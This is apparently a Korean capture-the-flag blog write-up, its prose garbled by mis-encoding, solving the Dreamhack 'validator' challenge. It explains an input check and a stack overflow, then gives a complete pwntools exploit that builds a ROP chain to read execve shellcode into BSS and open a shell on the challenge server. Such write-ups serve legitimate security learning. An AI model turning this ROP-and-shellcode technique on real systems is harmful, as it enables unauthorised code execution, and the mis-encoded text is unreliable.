validator
๋ฌธ์ ํ์ด
๋ณดํธ๊ธฐ๋ฒ์ด ๊ฑฐ์ ์๋ค๊ณ ํ ์ ๋๋ค์..?
์ฐธ๊ณ ๋ก ์ด๋ฒ ๋ฌธ์ ๋ ๋ฐ์ด๋๋ฆฌ๋ง ์ฃผ์ด์ ์ด๋ ๊ฒ IDA๋ฅผ ์ฌ์ฉํ์ต๋๋น
๊ธฐ๋ณธ์ ์ผ๋ก ์์ ๊ฐ์ด ํ์ฑ๋์ด ์์ต๋๋ค emeset์ ํ ํ validate ํจ์๋ฅผ ์คํํ๋ค์
๊ทธ ์ธ์๋ก๋ s์ 128์ ์ฃผ๊ณ ์
๊ฐ ๋ฐ๋ณต๋ฌธ๋ง๋ค ์กฐ๊ฑด๋ฌธ์ด ์๋ค์
์ฃผ์์ผ๋ก DREAMHACK์ด๋ผ๊ณ ์๋ ค์ฃผ๋ค์..
๋ฆฌ๋ฒ์ฑ ๋ชปํ๋๋ฐ ๊ฐ์ฌํฉ๋๋ค ใ
ใ
์ฐ์ ์ธ์๋ก ๋๊ธด ๋ฐฐ์ด์ด DREAMHACK!์ผ๋ก ์์ํ๋ฉฐ, ์์ ํจ์์์
j = 11๋ถํฐ j < 0x128๋งํผ s์ ๊ฐ ๋ฌธ์๊ฐ ์์ด์ง๋์?
๋จผ์ ์
๋ ฅ ๊ฐ์ ๋ํด DREAMHACK! ๋ฌธ์์ด๊ณผ ํ ๋ฐ์ดํธ์ฉ ๋น๊ตํ๊ณ , 9 ๊ฐ์ ๋ฌธ์ ์ค ๋์ผํ์ง ์์
๋ฌธ์๊ฐ ์๋ค๋ฉด exit ํจ์๋ฅผ ํตํด ํ๋ก๊ทธ๋จ์ ์ข
๋ฃํฉ๋๋ค.
์ ์กฐ๊ฑด์ ๋ง์กฑํ๋ฉด ์ฌ์ฉ์๊ฐ ์
๋ ฅํ ๋ฌธ์์ด์์
์ฒซ ๋ฒ์งธ ๋ฌธ์๊ฐ ๋ ๋ฒ์งธ ๋ฌธ์์ 1์ ๋ํ ๊ฐ์ด๋ ๋์ผํ์ง ๋น๊ตํฉ๋๋ค.
์ด ๊ณผ์ ์ ๋ฐ๋ณต๋ฌธ์ ํตํด 128๋ฒ๋งํผ ๋น๊ตํ๊ฒ๋ฉ๋๋ค.
๋ง์ฝ 128๋ฒ ๋ฃจํ ๋์ ํด๋น ์กฐ๊ฑด์ ๋ง์กฑํ์ง ๋ชปํ๋ค๋ฉด exit ํจ์๋ฅผ ํตํด ํ๋ก๊ทธ๋จ์ ์ข
๋ฃํฉ๋๋ค.
์ด๋ฅผ ๋ค ํต๊ณผํด์ผ ๋ค์ ๋ง๋ถ์ธ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋๊ฒ ๊ตฐ์..
Exploit ์ค๊ณ
์๋ฌด๋ฆฌ ์๊ฐํด๋.. ๋ญ์ง? ์ถ๋ค์ path ๊ฒฝ๋ก ์กฐ์๊ฐ์๋๋ฐ..
๋ OverWrite์ธ๊ฐ์ ใ
ใ
shellcode๋ฅผ BSS์์ญ์ ๋ฃ์ด์ RTL ํ์์ผ๋ก ํ๋ฉด ๋ ๋ฏ ํฉ๋๋ค
๋จผ์ ๋จผ์ ๋ ๊ฐ์ ์กฐ๊ฑด์ ๋ง์กฑํ๋ ๋ฌธ์์ด์ ์์ฑํ๋ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
payload = "DREAMHACK!"
for i in range(0xff, 0xff-126, -1):
payload += chr(i)
์ด๊ฑธ๋ก ๋ฐฑ๋ ํด๋ดค์ byte error ๋จ๋๋ฐ ํ.. ์ ๊ฑธ๋ก ํด๋ ๋น์ทํ๊ธด ํ๋๋ฐ
์ด๋ ๊ฒ ์ฐพ์์ ๋ค ๋ฃ์์ต๋๋ค ์ง์ ์ฃผ์๋ฅผ..
๊ทธ๋ฆฌ๊ณ shell์ ์ฃผ์๋ฅผ ์ง์ ์ง๋๊ฐ ์ฐพ๋๊ฐ shellcraft๋ฅผ ์ฌ์ฉํ๋๊ฐ์ธ๋ฐ
์ ๋ pwn์์ ์๋ ๊ฑฐ ์ฌ์ฉํ์ต๋๋ค sh๋ execve๋ ๋ค ์๋ ํด๋ณด์์ต๋๋ค.
๋๋จธ์ง๋ RTL์์ ํ๋ ๋ด์ฉ์ด๋ฏ๋ก ํฐ ์ค๋ช ์ ํ์ง ์๊ฒ ์ต๋๋ค.
Exploit
์์์ ๋ค ์ค๋ช ํ์ผ๋ ์ถ๊ฐ์ ์ธ ๋ถ๋ถ๋ง ๊ฐ๋จํ ์ค๋ช ํ๊ณ ๋์ด๊ฐ๊ฒ ์ต๋๋ค.
123456789101112131415161718192021222324252627282930313233343536373839404142 from pwn import *context.arch = 'x86_64'p = remote("host3.dreamhack.games", 22292)payload = b"DREAMHACK!"for i in range(0xff, 0xff-126, -1):#payload += chr(i)payload += i.to_bytes(1, byteorder='little')poprdi = 0x4006f3poprsir15 = 0x4006f1poprdx = 0x40057bbss = 0x60104Bread_plt = 0x400470#shellcode = asm(shellcraft.sh())shellcode = asm(shellcraft.execve("/bin/sh",0,0))payload += p64(poprdi)payload += p64(0)payload += p64(poprsir15)payload += p64(bss)payload += p64(0)payload += p64(poprdx)payload += p64(len(shellcode))payload += p64(read_plt)payload += p64(bss)p.sendline(payload)#pause() # or sleepp.sendline(shellcode)p.interactive()cs
์ด ์ฌ์ด ๋ฌธ์ ๋ฅผ ์์ง์ ์ ใ
ใ
์ง์ง ๋ค์ ์๊ฐํด๋ ๋นก์น๋ฉด์ ์ง๋ฆฟํ๋ค์
์ข๋ง ๋ ํ์ผ๋ฉด ๊ณผ์ ๋ฏธ๋ฉ์ด์๋ค์ ์์ฐ ใ
ใ
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
sint (0) | 2022.11.06 |
---|---|
tcache_dup (0) | 2022.11.06 |
cmd_center (0) | 2022.11.06 |
uaf_overwr (0) | 2022.11.06 |
Tcache Poisoning (0) | 2022.11.06 |